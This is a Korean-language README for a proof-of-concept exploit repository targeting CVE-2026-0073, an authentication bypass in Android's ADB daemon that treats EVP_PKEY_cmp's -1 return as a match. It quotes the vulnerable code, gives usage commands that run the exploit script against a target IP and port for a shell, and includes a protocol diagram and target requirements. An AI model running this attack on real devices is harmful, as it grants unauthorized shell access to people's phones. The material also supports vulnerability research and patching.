
CVE-2026-0073 — EVP_PKEY_cmp 유형 혼동을 통한 Android ADB 데몬(adbd) TLS 인증 우회. EC/Ed25519 키 불일치를 이용해 WiFi를 통해 무단 셸 액세스 권한 획득. Android 14+용 PoC 익스플로잇.
Android의 ADB 데몬(adbd)에 존재하는 치명적인 인증 우회 취약점으로 인해, 로컬 네트워크상의 공격자는 사용자 승인 없이 대상 기기에서 전체 셸을 획득할 수 있습니다.
이 취약점은 daemon/auth.cpp 내의 adbd_tls_verify_cert()에 존재하며, 여기서 EVP_PKEY_cmp()가 불리언으로 사용됩니다. 저장된 키가 RSA이고 제시된 TLS 클라이언트 인증서가 비RSA 키(EC P-256 또는 Ed25519)를 포함하는 경우, EVP_PKEY_cmp()는 -1(타입 불일치)을 반환하며, 이는 C/C++에서 참(truthy) 으로 평가되어 authorized = true가 됩니다.
// Vulnerable code pattern in daemon/auth.cpp
if (EVP_PKEY_cmp(peer_key, stored_key)) { // ← BUG: -1 is truthy!
authorized = true;
}
EVP_PKEY_cmp() 반환값 | 의미 | C에서 참인가? | 결과 |
|---|---|---|---|
1 | 키 일치 | ✅ | 승인됨 (정상) |
0 | 키 불일치 | ❌ | 거부됨 (정상) |
-1 | 타입 불일치 | ✅ | 승인됨 (버그) |
pip install cryptography
# Interactive shell
python adb_tls_auth_bypass.py <TARGET_IP> <PORT>
# Single command execution
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"
# Verbose mode (see full protocol trace)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519
기본적으로 스크립트는 성공할 때까지 EC P-256 → Ed25519 → EC/TLS 1.2 순서로 자동 시도합니다.
Attacker Target (adbd)
│ │
│──── TCP connect ──────────────────►│
│──── CNXN (cleartext) ────────────►│
│◄─── STLS (TLS upgrade request) ──│
│──── STLS reply ──────────────────►│
│ │
│════ TLS 1.3 Handshake ════════════│
│ (EC P-256 client cert presented) │
│ EVP_PKEY_cmp(EC, RSA) → -1 │
│ -1 is truthy → authorized=true │
│════════════════════════════════════│
│ │
│◄─── CNXN (device info) ──────────│
│──── OPEN "shell:" ───────────────►│
│◄─── OKAY ────────────────────────│
│◄──► WRTE/OKAY (shell I/O) ──────►│
│ │
[FULL SHELL ACCESS] │
| 요구 사항 | 세부 정보 |
|---|---|
| 개발자 옵션 | 대상 기기에서 활성화됨 |
| 무선 디버깅 | 활성화됨 (또는 포트 5555에서 TCP를 통한 ADB) |
| 저장된 RSA 키 | 기기가 최소 한 번 이상 USB 페어링된 적이 있어야 함 (/data/misc/adb/adb_keys) |
| 네트워크 접근 | 공격자가 adbd TCP 포트에 도달할 수 있어야 함 |
⚠️ 중요: RSA 키는 USB 디버깅 페어링("USB 디버깅을 허용하시겠습니까?" 대화상자 수락)을 통해 채워지는
/data/misc/adb/adb_keys에 있어야 합니다. 무선 디버깅 페어링(adb pair)은 키를 다른 위치(adb_known_hosts.pb)에 저장하며 이 요구 사항을 충족하지 않습니다.
adb shell getprop ro.build.version.security_patch
다음 환경에서 테스트하여 정상 동작을 확인했습니다:
Kernel: 6.1.23-android14-4-00257-g7e35917775b8-ab9964412
Platform: Android 14 (Android Studio Emulator)
이 포크에는 여러 가지 개선 사항이 포함되어 있습니다:
select() 대신 스레드 기반 I/O 사용-v 플래그를 통한 상세 프로토콜 추적CVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py # Main exploit script
└── README.md # This file
이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 테스트 전에 항상 적절한 승인을 받으십시오. 저자는 이 소프트웨어의 오용에 대해 어떠한 책임도 지지 않습니다.
이 내용이 연구에 도움이 되었다면 ⭐를 눌러주세요